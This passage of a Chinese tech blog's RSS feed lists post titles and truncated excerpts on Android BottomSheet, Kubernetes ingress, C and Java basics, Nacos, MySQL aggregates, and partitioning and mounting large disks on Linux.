API 工具&#xA;API SDK 调用示例 API SDK下载 API测试工具&#xA;获得此API</description>
    </item>
    <item>
      <title>Material Design组件 - 使用BottomSheet展现扩展内容（一）</title>
      <link>https://bchobby.github.io/posts/023a9aa5a7d0e2163e7a09e47b35e514/</link>
      <pubDate>Tue, 28 Jun 2022 14:26:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/023a9aa5a7d0e2163e7a09e47b35e514/</guid>
      <description>Material Design组件 - 使用BottomSheet展现扩展内容（一）） BottomSheet历史Bottom Sheets的展现方式非模态BottomSheetBehavior BottomSheet历史 BottomSheetBehavior最早是在Android的Design支持库中出现的，这个库中提供了许多Material Design 组件，BottomSheetBehavior即是对Material Design中Sheets: bottom即底部扩展菜单的一种实现，是对Material Design的支持，正如Material Design里面的Sheets: bottom中写的那样，其可以在屏幕的底部为整个画面提供一个补充视图增强用户体验性&#xA;BottomSheet的实现首次出现是在com.android.support.design-23.2.0的支持库中，而现在已经被Jetpack的AndroidX吞并，并且官方也推荐我们将项目迁移到AndroidX，而不是使用以前的支持库，因为以前的支持库已经不更新维护了，所以我们会直接从AndroidX的BottomSheet来学习&#xA;上表左边的是旧的支持库，右边的是AndroidX的支持库，其在com.google.android.material:material库中，所以我们使用会引用这个库来使用，另外Jetpack Compose里面也有对其的支持，本篇文章主要还是以原始XML的形式来进行说明，想要Compose的可以看BottomSheetScaffold API Reference和ModalBottomSheetLayout API Reference自行先学习下哈，后续我也会对这方面的内容进行学习分享&#xA;Bottom Sheets的展现方式 首先我们先来了解一下官方口中的Bottom Sheets到底是什么样的，我们在Material Design的BottomSheet描述中可以看到，BottomSheet有三种类型，分别是&#xA;Standard bottom sheetsModal bottom sheetsExpanding bottom sheets Standard bottom sheets是最基本的bottom sheet，其就是在底部可以展开一个菜单来，并且你的主页面不会被遮挡，也能在展开菜单的时候使用者也能与主页面进行正常交互&#xA;Modal bottom sheets是模态化的bottom sheet，其就和Dialog类似，只是是从底部可以滑动出现，展开的时候会将主页面遮挡，并且其展开的时候，使用者就不能与主页面进行交互了&#xA;Expanding bottom sheets提供了一个小小的展开画面，用户可以点击这个画面进而出现一个扩展页面来&#xA;然而，第三种BottomSheet官方并没有都提供给我们开箱即用的组件，只提供给我们了两种，Standard bottom sheets对应了AndroidX中material库里的BottomSheetBehavior类&#xA;Modal bottom sheets对应了库里的BottomSheetDialog和BottomSheetDialogFragment其两者分别继承自AppCompatDialog和AppCompatDialogFragment，其关系类似于AppCompatDialog和AppCompatDialogFragment，在BottomSheetDialogFragment中也会去给我们创建BottomSheetDialog实例，让我们能够更好更便捷的使用BottomSheet&#xA;至于Expanding bottom sheets，并没有找到有提供给我们直接使用的组件，然而如果真要使用这种效果，我们可以参考Material的github上的OWL示例来实现，不过在实现这个之前，我建议可以先从最基本的BottomSheet来学习&#xA;非模态BottomSheetBehavior 我们先来学习BottomSheetBehavior，即非模态的组件，我们可以先来看看效果，&#xA;接下来我们实现它，我们直接使用官方为我们提供的开箱即用组件BottomSheetBehavior来做，首先我们肯定先要创建一个XML布局文件，将我们的主页面先画上，那么这边会存在一个问题，我们的顶层布局是不是可以随便使用呢？答案是不行的，这边官方为我们提供的组件都有一个特点，其需要作为CoordinatorLayout的子视图来使用，对CoordinatorLayout有所了解的同学看到这个Behavior肯定不陌生，所以其离不开CoordinatorLayout布局&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34;&amp;gt; &amp;lt;LinearLayout android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; android:orientation=&#34;</description>
    </item>
    <item>
      <title>k8s ingress-controller处理流程及原理</title>
      <link>https://bchobby.github.io/posts/36a486d944842a8fbeb8262ba5c50371/</link>
      <pubDate>Tue, 28 Jun 2022 13:12:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36a486d944842a8fbeb8262ba5c50371/</guid>
      <description>一、这都是什么 ingress：路由转发规则集合，k8s的默认资源&#xA;service：提供服务对外暴露功能，模式有4种：ClusterIP（这个是集群内部访问），（nodeport，loadbalance，externalNAME）这三个可以对外提供服务&#xA;ingress-controller：实际规则转发工作者， ingress-controller并不是k8s的默认资源&#xA;二、他们的工作原理 1. ingress-contronler通过与k8s的api进行交互，动态的去感知k8s集群中ingress服务规则的变化，然后读取它，并按照定义的ingress规则，转发到k8s集群中对应的service。 2. 而这个ingress规则写明了哪个域名对应k8s集群中的哪个service，然后再根据ingress-controller中的nginx配置模板，生成一段对应的nginx配置。 3. 然后再把该配置动态的写到ingress-controller的pod里，该ingress-controller的pod里面运行着一个nginx服务，控制器会把生成的nginx配置写入到nginx的配置文件中，然后reload一下，使其配置生效。以此来达到域名分配置及动态更新的效果。 4. 通过ingress-controller访问后端的请求是不走kube-proxy的代理的，也就是下图中的①③不走kube-proxy，②④还是走kube-proxy 5. ingress-controller有很多种：Kubernetes-Ingress-Controller、NGINX Ingress Controller、Kong Ingress、Traefik、HAProxy Ingress等10多种，用那种需要结合自身实际需求去选择，无特殊场景一般用k8s-ingress-controller 三、访问流程图 流程分解：&#xA;&amp;lt;&amp;gt;里面代表资源类型，无此符号的部分是这个资源的名字&#xA;图中实线部分是实际访问流程，虚线部分是路由规则的维护&#xA;①企业级应用场景最常用的方式就是用外层4层或7层负载来保证后端服务的可用性，如图是负载nginx这个ingress-controller的svc&#xA;②nginx-controller有自己的service，用的是nodeport模式对外暴露端口，关联后端ingress-controller&#xA;③ingress-controller拿到请求后转发给后端的service&#xA;④service通过标签选择器，找到后面对应的pod&#xA;*⑤ingress里面test.k8s.com这个域名的路由规则&#xA;*⑥ingress的规则会通过k8s-apiserver对外提供查询&#xA;*⑦ingress-controller查询k8s-apiserver拿到ingress路由规则，并更新在自己的配置文件里面&#xA;四、配置实战 1.ingress-controller安装通过kuboard集成插件完成，这里不再赘述，网上文章也很多，可以参考&#xA;kuboard安装ingress-controller参考链接：https://kuboard.cn/learning/k8sintermediate/service/ingress.html#实战-使用-ingress-访问-web-应用&#xA;2.创建ingress+svc+deployment，并关联ingress-controller&#xA;[root@k8s-master ingress]# vim app-nginx.yaml ##应用的yaml文件 apiVersion: apps/v1 kind: Deployment ##资源类型deployment metadata: name: nginx-app ##pod名称 namespace: test ##名称空间 spec: replicas: 2 ##副本数 selector: matchLabels: ##标签选择器 app: nginx template: ##以下是pod模板 metadata: labels: app: nginx ##给pod作标签 spec: containers: - name: nginx ##容器名称 image: nginx:v1.</description>
    </item>
    <item>
      <title>git commit 的报错 husky ＞ pre-commit (node v14.17.0)</title>
      <link>https://bchobby.github.io/posts/a849529c465242290b68cd1a1e6668ee/</link>
      <pubDate>Tue, 28 Jun 2022 10:32:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a849529c465242290b68cd1a1e6668ee/</guid>
      <description>解决方法 git commit -m &#34;提交页面备注 绕过eslint检查&#34; --no-verify</description>
    </item>
    <item>
      <title>MTK Android 11 预装可卸载APP</title>
      <link>https://bchobby.github.io/posts/2a29726a7a30542bb02d150bf2b348b6/</link>
      <pubDate>Tue, 28 Jun 2022 09:06:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a29726a7a30542bb02d150bf2b348b6/</guid>
      <description>客户突然有个又要预装又要系统权限，还要可以卸载的APP的需求，在网上找了一大堆，几乎都是什么复制到/data/data/目录然而又说的不详细。本人终天找到了蛛丝马迹。MTK android11其实很简单。想知道可以联系我 V1g6a2V2aW5DaGVuXzE5MDU=</description>
    </item>
    <item>
      <title>图片仅供测试</title>
      <link>https://bchobby.github.io/posts/fb40f0556772c97df993ce23d5a5e88a/</link>
      <pubDate>Tue, 28 Jun 2022 08:50:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb40f0556772c97df993ce23d5a5e88a/</guid>
      <description>图片仅供测试！</description>
    </item>
    <item>
      <title>itoa随手记（itoa是什么，itoa怎么用）</title>
      <link>https://bchobby.github.io/posts/93a3e9381e18c9cf574cd7cfc7882a7e/</link>
      <pubDate>Mon, 27 Jun 2022 23:12:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93a3e9381e18c9cf574cd7cfc7882a7e/</guid>
      <description>前言 虽然是非常常见的函数，但我没见过，在这里记录一下。&#xA;一、itoa是什么？&#xA;itoa函数，全称int to array，是将整形转换成字符串类型的函数。是C非标准库的函数（写题目也不用管这个）&#xA;二、使用 char* itoa(int value,char*string,int radix);&#xA;value: 要转换的整数，可以不是int类型但是整数必须在int的范围里 string: 转换后的字符串 radix: 转换进制数，范围是2~36&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { int number1 = 12; int number2 = -123456; char string[16] = {0}; itoa(number1,string,8); printf(&#34;数字：%d 转换为：%s\n&#34;,number1,string); itoa(number2,string,10); printf(&#34;数字：%d 转换为：%s\n&#34;,number2,string); system(&#34;pause&#34;); return 0; } 总结 用于int类型转字符串&#xA;填入数字的范围在int之内，可以是负数，进制转化在2到36之间。</description>
    </item>
    <item>
      <title>C语言中的分支语句和循环语句（if语句、switch语句、while循环、for循环、do...while循环、goto语句）</title>
      <link>https://bchobby.github.io/posts/49477aaec7ca5e075a2dc26cf81b65d6/</link>
      <pubDate>Mon, 27 Jun 2022 21:55:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49477aaec7ca5e075a2dc26cf81b65d6/</guid>
      <description>C语言是结构化的程序语言，有循环结构、选择结构、循环结构’&#xA;一、什么是语句？&#xA;1. 表达式语句 2. 函数调用语句 3. 控制语句 4. 复合语句 5. 空语句 本文主讲 控制语句 ，其 用于控制程序的执行流程，以实现程序的各种结构方式，它们由特定的语句定义符组成， C 语 言有九种控制语句。 可分成以下三类： 1. 条件判断语句也叫分支语句： if语句 、 switch语句 ； 2. 循环执行语句： do while语句、while语句、for语句 ； 3. 转向语句： break语句、goto语句、continue语句、return语句 。 二、分支语句（选择结构） 2.1 if语句&#xA;2.2.1语法&#xA;if（表达式） //表达式为真则执行 语句； if（表达式） //表达式为真则执行 语句1； else 语句2； 多分支：&#xA;if(表达式1) //表达式为真则执行 语句1； else if（表达式2） //表达式为真则执行 语句2； else 语句3； 2.1.2真假判断：&#xA;#define _CRT_SECURE_NO_WARNINGS #include&amp;lt;stdio.h&amp;gt; int main() { int a = 10; if (a = 3) //对a进行赋值3，非0为真 { printf(&#34;</description>
    </item>
    <item>
      <title>聊聊java8中的@sun.misc.Contended与伪共享</title>
      <link>https://bchobby.github.io/posts/38830fca328e3d030787043f8df3f9e9/</link>
      <pubDate>Mon, 27 Jun 2022 16:14:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38830fca328e3d030787043f8df3f9e9/</guid>
      <description>“持续创作，加速成长！这是我参与「掘金日新计划 · 6 月更文挑战」的第30天，点击查看活动详情”&#xA;@[toc] 在前面学习ConcurrentHashMap的size方法的过程中，对于CounterCell这个类，有个特殊的注解 @sun.misc.Contended。那么今天就来聊聊这个注解的具体作用和其底层的基本原理。&#xA;&amp;lt;pre class=&#34;prettyprint hljs cs&#34;&amp;gt;/** * A padded cell for distributing counts. Adapted from LongAdder * and Striped64\. See their internal docs for explanation. */ @sun.misc.Contended static final class CounterCell { volatile long value; CounterCell(long x) { value = x; } }&amp;lt;/pre&amp;gt; 经过查阅资料之后，不难发现，@sun.misc.Contended注解是被设计用来解决伪共享问题的。那么什么是为伪共享呢？&#xA;1.伪共享 在了解伪共享之前，需要了解一下CPU的缓存机制。&#xA;1.1 CPU的缓存机制&#xA;学过计算机的人都知道，CPU是计算机的大脑，所有的程序，最终都要变成CPU指令在CPU中去执行。CPU的计算速度是非常快的，但是，我们知道，程序必须存储在存储介质中，程序启动之后被加载到内存中才能执行。但是内存的读取速度和CPU的计算速度之间存在非常大的差异。那么为了解决这个计算速度之间的差异，就在CPU上增加了缓存来解决这个问题。通常情况下，CPU是三级缓存结构，如下图：&#xA;越靠近CPU的缓存，其容量就越小，但是其速度就越快。所以实际上L1的容量是最小的，这取决于CPU的具型号。&#xA;如上图所示，我们笔记本使用的I7CPU的三级缓存，L1为256k，L2为1M,L3为8M。 当CPU在执行计算的时候，先去L1查找数据，然后再去L2、L3,如果都没有数据则需要到主存中去加载。走得越远运算耗费的时间就越长。所以，对于一些高CPU的计算，尽量确保数据都能在L1中，降低加载次数。 Martin Thompson 提供了一些从CPU到缓存加载需要的大值时间：&#xA;从CPUCPU周期大致时间主存60-80nsQPI总线20nsL3 cache40-45cycles15nsL2 cache10 cycles3nsL1 cache3-4cycle1ns寄存器1cycle 1.2 缓存行和伪共享&#xA;我们了解了缓存cache之后，缓存是以行为单位存在在cache中的，通常而言，一个缓存行大概是64byte。对于java类而言，一个javalong的对象长度为8字节，因此一个缓存行就是8个long的长度。因此，在你访问一个long数组的时候，当数组中有一个值被加载到缓存中的时候，它会额外加载另外7个值，以至于遍历数组的速度可以非常快。因此对于连续存储在内存块的数据结构，都是可以非常快速的遍历的。 对于链表，由于数据不连续，因此很难享受到这个优势。也就是说，CPU处理内存的宽度是64byte。但是我们程序中的基本的变量都会小于这个宽度，因此这会带来另外一个问题，这就是伪共享。 伪共享的意思就是说，当线程1在使用变量x的时候，CPU会将X相连的部分共64字节全部都加载到core的L1中。如果此时线程2需要使用的y，但是y在此时已经做为x相邻的64字节的一部分被加载到了L1中。由于L1是按核心各自独立的，因此这个时候就会对这个缓存行产生了竞争。这就是伪共享。 实际上CPU的处理可能比这个描述复杂，但是对于这种竞争的情况，一般在MESI协议的CPU上，是会互相影响的。 在MESI协议中，如果两个不同的处理器都需要操作相同的缓存行，那么就会导致RFO请求。 我们来看看Disruptor的示例图：</description>
    </item>
    <item>
      <title>输入输出大全（普通输入输出和快读快写）C/C&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/2df88191cd1be1d0250522cde1ef085a/</link>
      <pubDate>Mon, 27 Jun 2022 16:01:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2df88191cd1be1d0250522cde1ef085a/</guid>
      <description>目录&#xA;前言&#xA;一、普通读写操作&#xA;1、cin&#xA;2、scanf&#xA;3、gets/getline&#xA;4、printf&#xA;二、快读快写&#xA;1、整形快读快写&#xA;2、浮点型的快读快写&#xA;3、字符串快读快写&#xA;三、O2优化&#xA;总结&#xA;前言 我最早接触的刷题平台是力扣，这导致我第一次在PTA平台上写题的时候在数据的输入和输出上感到非常折磨。这篇文章是我对各种输入输出的总结，准备开始刷题的同学看这篇文章能帮你节约不少的时间。&#xA;缓存区 ： 书上的定义是，缓冲区是一块物理内存中的存储区,当数据进行转移时用来临时存放数据。在这里的作用我就把他理解成，在输入和输出时数据时，这些数据都要在缓存区走一遍再去完成他们的功能。&#xA;一、普通读写操作 在不考虑读写运行速度的情况下，基本的读入函数就能完成我们所有的读入功能。下面主要介绍不同的读入函数，&#xA;1、cin 作为操作起来最方便的读入函数，cin不需要记住任何的多余符号，新手只要知道他在空格和换行符会自动停止读入就行，且不会清空缓存区，对刚刚刷题的小白非常的友好。但我个人是非常不建议用的，速度慢是其次，主要是他在读入一些比较特殊的词时会有些不方便（这个题目写多了肯定会遇到的），最基础的操作相比来说的话我更推荐scanf。&#xA;2、scanf 我是非常建议把scanf当成不需要考虑读入效率时的默认输入方式的。一般的scanf使用方法我就不多说了，这里介绍几种在刷题时曾经困扰过我的几种输入。&#xA;题目要求读入n个整形（n不确定），存放在arr数组里，输入时每个整形之间会以空格分开，具体样子如下。&#xA;当时我不了解scanf遇到空格会结束的特性，这个输入没有完成，其实这种类型的输入通过一句话就可以解决。&#xA;while(~scanf(&#34;%d&#34;,&amp;amp;arr[i++]));//i就是个从零开始的变量 这里用到了scanf的返回值特性，scanf其实是有返回值的（可能就我不知道吧），一次scanf读入几个字符他就会返回几，碰到空格或者TAB等会返回0，而碰到输入结束标志会返回EOF（即-1），所以这里用的是~符号，让-1的时候得到0退出while循环，就是要让他在检测接收到数据和空格时都继续接收下一个，而接收到输入结束标志时退出while即不继续输入。&#xA;大部分不确定输入个数的输入通过这个都能解决，但有一个例子不可以：要求将n（n不确定）个字符串放到二维数组arr里，具体如下。&#xA;我们先直接看解决代码&#xA;while(~scanf(&#34;%d&#34;,&amp;amp;arr[i++]) &amp;amp;&amp;amp; getchar() == &#39; &#39;);//i就是个从零开始的变量 这里我先解释上面的那一串字符为什么不能用之前的方法解决，在最开始我也不明白为什么这样的字符串输入进来会有问题，后面我看了录进去的值之后我发现其实不管是让我输入字符串还是让我输入整形，我的输入都是有问题的，只不过在字符串输入的时候更容易发现错误。对于第一个输入整形的题目我们写一下就会发现当我们运行完时，如果我们输入3个数，n的值会变成4而不是3，这是因为scanf在读入的时候在把空格，换行等读入到缓存区的时候会结束此次读入，但是这时候缓存区里的空格，换行等不会消失，这就导致我读完最后一个数时其实缓存区里还有\n而不是结束标志，这时候如果下一位是文章结束标志scanf会将\n转换成空格存到我的数组里，当然这时候n++于是导致n比我们想要的值还多一。那为什么加了getchar就好了呢，这我们就要知道getchar的处理字符方式，当缓存区有字符时，getchar会从缓存区读取并清空一个字符，而这里就是用到了getchar的这个特性，不仅可以清空scanf之后缓存区残留的符号还能，让循环在正确的时候退出。&#xA;3、gets/getline 这两个分别是c/c++的输入函数，这里要注意的是gets在c++里是不能用的，在这里讲一下这两个函数和scanf有什么区别，前面我们已经说过了scanf遇到空格和回车会停止，但是这里的gets只有遇到回车才会停止，并且会自动把\n转化成\0(gets只会能把数据读到char*里)。还有一点与scanf不同的是scanf会把空格换行等留在缓存区里，只能通过getchar来清除，但gets不会在缓存区里留东西。getline就是c++版的gets。那什么时候会用到这个呢？当我想输入一段字符串但字符串里面包含空格时，我就只能用gets去实现这个功能。&#xA;4、printf 所有的输出我都是建议printf的，虽然cout非常的方便，但是学会printf可以满足所有不需要效率时的输出操作。下面主要讲两个我之前不知道的操作。&#xA;固定小数位数的输出，这里举个例子1：比如我要输出一个小数后两位的浮点数。&#xA;double a =2.127; printf(&#34;%.2lf\n&#34;,a);//控制double类型到两位小数 这里有一点要注意，最后一位显示出来的小数是会自动四舍五入的。&#xA;例子2：在整形前面自动补0直到达到指定位数，多用于有补0格式要求的整形输出。&#xA;int i=2; printf(&#34;%02d&#34;,i);//不够两位在左边补零，补空格也行 二、快读快写 在有些题目里读写要求的数据量特别大时甚至会要求我们不能使用语言本身提供的函数，而是要求我们对一些不方便但是效率高的函数操作来达到输入输出的功能，这就是快读快写。&#xA;快读快写的本质就是用更快的读入函数去实现读写操作，读入操作时间 cin &amp;gt; scanf &amp;gt; getchar &amp;gt; fread.这就衍生出了以下两种快读（getchar版本和fread版本）。以下按照整型的输入来解释。&#xA;inline int read1()//这里加inline是为了解决一些频繁调用的函数大量消耗栈空间（栈内存）的问题 { int x = 0, f = 1; char ch = getchar(); while (ch &amp;lt; &#39;0&#39; || ch &amp;gt;&#39;9&#39;) { if (ch == &#39;-&#39;) f = -1; ch = getchar(); } while (ch &amp;gt;= &#39;0&#39; &amp;amp;&amp;amp; ch &amp;lt;= &#39;9&#39;) x = x * 10 + ch - &#39;0&#39;, ch = getchar(); return x * f; } 上面根据getchar读入字符的功能去实现读入一个整形，但是这样的函数没法像scanf一样放在while里读入，这就导致如果不告诉你数据个数你就没法很好的读入，于是改进后函数为下面这样，输入检测到\n会让while退出。</description>
    </item>
    <item>
      <title>服务治理-Nacos</title>
      <link>https://bchobby.github.io/posts/f346a4237086e4fbdeb1bdf923b9b871/</link>
      <pubDate>Mon, 27 Jun 2022 12:53:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f346a4237086e4fbdeb1bdf923b9b871/</guid>
      <description>Nacos下载： mac下第一个 windows下的二个&#xA;下载地址：https://github.com/alibaba/nacos/releaseshttps://github.com/alibaba/nacos/releases 进入安装路径的bin目录，通过cmd命令行输入startup.cmd -m standalone即可启动&#xA;访问控制台现实的nacos管理页面，完成登录：用户名和密码：nacos&#xA;那么之前我们是用的Eureka进行的服务注册，现在使用Nacos进行相同的功能使用。&#xA;修改提供者和消费者中的依赖和配置文件。&#xA;① 在pom文件中引入nacos-discovery依赖，==注释掉eureka的依赖== &amp;lt;!--nacos注册中心客户端依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-discovery&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; ② 在application.yml中添加nacos地址，==注释掉eureka相关配置== spring: cloud: nacos: discovery: server-addr: localhost:8848 # 连接nacos注册中心 然后重启一下微服务，既然我们不使用Eureka了，那么Eureka的服务就不需要再启动了。&#xA;然后就可以进行访问测试了。 服务分级存储 这里的分级存储实际上就是增加的分类的类别，我们目前讨论的就只有微服务的区别，提供者和消费者，这里的分级存储又引入了服务集群的概念，一个服务可以有多个集群，这里就以地方作为分类类别，同一个服务可以在北京有一个服务集群，也可以在上海有一个服务集群。&#xA;服务调用尽可能选择本地集群的服务，跨集群（区域）调用延迟较高 。&#xA;① 将部分微服务配置到北京集群&#xA;spring: cloud: nacos: discovery: server-addr: localhost:8848 cluster-name: BJ # 服务所在集群名称 ② 新建1个user微服务配置到上海集群&#xA;-Dserver.port=8083 -Dspring.cloud.nacos.discovery.cluster-name=SH ③ 启动三个服务，并访问注册中心观察&#xA;④ 修改order-service的负载均衡策略&#xA;Ribbon默认的策略并不能实现根据同集群优先来实现负载均衡，需要切换成Nacos中的一个NacosRule来实现。&#xA;user-service: # 给某个微服务配置负载均衡规则，这里是user-service服务 ribbon: NFLoadBalancerRuleClassName: com.alibaba.cloud.nacos.ribbon.NacosRule # 负载均衡规则 ⑤ 访问测试&#xA;多访问几次消费者，就会发现，提供者中，会优先查询相同集群下的微服务，而不会跨域查询另一个集群下的微服务，除非本集群中所有的提供者都失效了，才会去访问非同一集群下的提供者&#xA;权重配置 nacos支持权重配置来控制不同实例的访问频率，权重越大则访问频率越高。0 &amp;lt;= 权重值 &amp;lt;= 1</description>
    </item>
    <item>
      <title>MySQL 中 Sum(1)与Count(1)的区别和联系</title>
      <link>https://bchobby.github.io/posts/76ca34c732bb1fde45ea428d02658115/</link>
      <pubDate>Mon, 27 Jun 2022 12:47:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76ca34c732bb1fde45ea428d02658115/</guid>
      <description>MySQL中count和sum使用 count&#xA;COUNT()函数里面的参数是列名的的时候,那么会计算有值项的次数。（NULL 不计入， 但是&#39;&#39;值计入）COUNT(*)可以计算出行数，包括null ，COUNT（1）也可以计算出行数，1在这里代表一行COUNT(条件表达式)，不管记录是否满足条件表达式，只要非NULL就加1 ，所以一般都count(id=1 or null) sum&#xA;sum()参数是列名的时候，计算列名的值的相加，不是统计有值项的总数sum(id=2) 当参数是表达式的时候，统计满足条件的行数 注：&#xA;上面id指列名，=后面的代表值 本文参考：MySQL中sum和count用法总结，如需转载请注明出处，&#xA;MySQL中count和sum使用 - lin_zone - 博客园&#xA;mysql sum(1)_简单说一下MySQL sum(1) count(1) 区别和联系 简单说一下MySQL sum(1) count(1) 区别和联系 - 豆豆2018 - 博客园&#xA;有人说sum(1) 相当于 count(1) ，其实还是有一点点差别;&#xA;1. 首先说一下使用过程中注意的点&#xA;sum(1) count(1) 使用过程中都有可能返回值为NULL,并不是统计不到就返回值为0&#xA;以下数据表实例&#xA;&amp;lt;1&amp;gt; 对于sum(1),如果带 where 条件查不到数据，则返回Null&#xA;1&#xA;SELECT sum(1) FROM tickets WHERE `order` &amp;gt; 10000&#xA;&amp;lt;2&amp;gt; 对于 count(1) ,如果带 where 且 group by 操作， where条件下无数据，也会返回NUll 1&#xA;SELECT count(1) FROM tickets WHERE `order` &amp;gt; 10000 GROUP BY priority</description>
    </item>
    <item>
      <title>Markdown For Typora</title>
      <link>https://bchobby.github.io/posts/a9977170963e884d6cce82c6162f2b0a/</link>
      <pubDate>Mon, 27 Jun 2022 11:14:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9977170963e884d6cce82c6162f2b0a/</guid>
      <description>Markdown For Typora Overview Markdown is created by Daring Fireball; the original guideline is here. Its syntax, however, varies between different parsers or editors. Typora is using GitHub Flavored Markdown.&#xA;文章目录 Markdown For TyporaOverviewBlock ElementsParagraph and line breaksHeadersBlockquotesListsTask List(Fenced) Code BlocksMath BlocksTablesFootnotesHorizontal RulesYAML Front MatterTable of Contents (TOC) Span ElementsLinksInternal LinksReference Links URLsImagesEmphasisStrongCodeStrikethroughUnderlinesEmoji :smile:Inline MathSubscriptSuperscriptHighlight HTMLEmbed ContentsVideoOther HTML Support Block Elements Paragraph and line breaks A paragraph is simply one or more consecutive lines of text.</description>
    </item>
    <item>
      <title>Python数据分析12——Pyecharts使用文档</title>
      <link>https://bchobby.github.io/posts/6e4452ac59012060ee58333edeee234c/</link>
      <pubDate>Mon, 27 Jun 2022 11:11:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e4452ac59012060ee58333edeee234c/</guid>
      <description>简介 - pyecharts - A Python Echarts Plotting Library built with love.https://pyecharts.org/#/zh-cn/intro</description>
    </item>
    <item>
      <title>输入百分制分数，给出相应的等级(C语言，switch语句)</title>
      <link>https://bchobby.github.io/posts/3a49b3a906f34964d0633df0941eeecb/</link>
      <pubDate>Mon, 27 Jun 2022 10:57:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a49b3a906f34964d0633df0941eeecb/</guid>
      <description> 输入百分制分数，给出相应的等级：当分数大于等于90分时为A，80-89为B，70-79为C，60-69为D，60以下为E&#xA;例如：当输入的分数为100时，可以将其看成90分，因为100和90分对应的等级都为A，对输入的成绩使用除法（除以10），便可求出其高位数字，通过高位数字便可判断输出的成绩处于哪个等级。使用switch语句对：取出的高位数字进行选择判断，如果高位数为9则是A，如果是8则是B.....以此类推，分别出现C,D,E等。&#xA;程序代码如下：&#xA;#include &amp;lt;stdio.h&amp;gt; #define _CRT_SECURE_NONINGS 1 int main() { float score;//定义分数的变量 int s; printf(&#34;请输入您的成绩：\n&#34;); scanf_s(&#34;%f&#34;, &amp;amp;score);//接收用户的输入 if (score == 100) { score = 90; } s = score / 10; switch (s) { case 9: printf(&#34;等级：A\n&#34;); break; case 8: printf(&#34;等级：B\n&#34;); break; case 7: printf(&#34;等级C\n&#34;); break; case 6: printf(&#34;等级：D\n&#34;); break; default: printf(&#34;等级：E\n&#34;); } } </description>
    </item>
    <item>
      <title>Linux 系统挂载大硬盘（＞2TB）及默认登录目录修改</title>
      <link>https://bchobby.github.io/posts/88ff1aa0aa08506f45f5b5527984bb1b/</link>
      <pubDate>Mon, 27 Jun 2022 10:48:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88ff1aa0aa08506f45f5b5527984bb1b/</guid>
      <description>通常安装系统按照引导方式+磁盘分区表方式有两种，即legacy+mbr或uefi+gpt，其中mbr和gpt一个重要的区别就是用mbr的分区表，最大可支持容量只有2t，超过2t及以上的部分就没法使用了。因此，如果买了2t以上的硬盘就要考虑使用gpt的分区表方式。&#xA;具体的，在硬盘接入主板并供电后，在Ubuntu系统中使用&#xA;sudo fdisk -l | grep /dev/sd 查找新加入的硬盘，例如为/dev/sdb，使用parted 切换到 sdb这块硬盘上&#xA;sudo parted /dev/sdb 输入 print 这时候还没有进行分区，会出现 unrecogonised disk label，建立gpt分区表(mbr 是 mklabel msdos)&#xA;mklabel gpt 再输入 print 就会看到 hdd硬盘存储空间为4001GB(以4TB 硬盘为例)，然后对sdb这块硬盘进行分区，这时候可以直接用0KB这种方式，也可以用百分比设置的方式进行，建议使用后者&#xA;mkpart primary 0KB 4001GB 或者 mkpart primary 0% 100% 接下来会提示Yes/No?回答y；提示Ignore/Cancel?回答i&#xA;然后再次输入print查看hdd硬盘的分区情况，最后输入quit退出parted工具即可完成硬盘分区。我这里只创建了一个分区，读者可以按照自己的需求创建多个分区，当然如果想要删除创建的分区，使用 rm 命令即可，例如rm 1, 具体可以参考博文。&#xA;分区以后对硬盘进行格式化处理，格式化成ext4，&#xA;sudo mkfs -t ext4 /dev/sdb1 或者 sudo mkfs.ext4 -F /dev/sdb1 接下来需要将硬盘挂载到系统的文件目录上，对于ubuntu系统用户来说，一般用户目录为/home/用户名，参考ubuntu的命名方法，这里在/ 目录下创建/home2目录，让新硬盘可以挂载，&#xA;sudo mkdir /home2 sudo mount /dev/sdb1 /home2 # 复杂一点的写法 sudo mount -t ext4 -o rw /dev/sdb1 /home2 # 卸载硬盘的挂载 sudo umount /dev/sdb1 具体的mount命令可以参考Linux mount命令 | 菜鸟教程</description>
    </item>
    <item>
      <title>js模糊匹配（like）</title>
      <link>https://bchobby.github.io/posts/439136c06a2a660120087fc0f238e713/</link>
      <pubDate>Mon, 27 Jun 2022 10:46:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/439136c06a2a660120087fc0f238e713/</guid>
      <description> //js 模糊匹配(也就是sql中的like) //其实就是类似contain()方法，找到str2里面是否包含有str1，不存在返回-1，存在返回0 function like(str1,str2){ var result = str2.indexOf(str1); if(result&amp;lt;0){ return false; }else{ return true; } } </description>
    </item>
    <item>
      <title>VSCode中值得推荐的常用的33个高效前端插件「效率篇」（一）</title>
      <link>https://bchobby.github.io/posts/9893bd17839e75ea0d711e8737d95189/</link>
      <pubDate>Sun, 26 Jun 2022 21:48:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9893bd17839e75ea0d711e8737d95189/</guid>
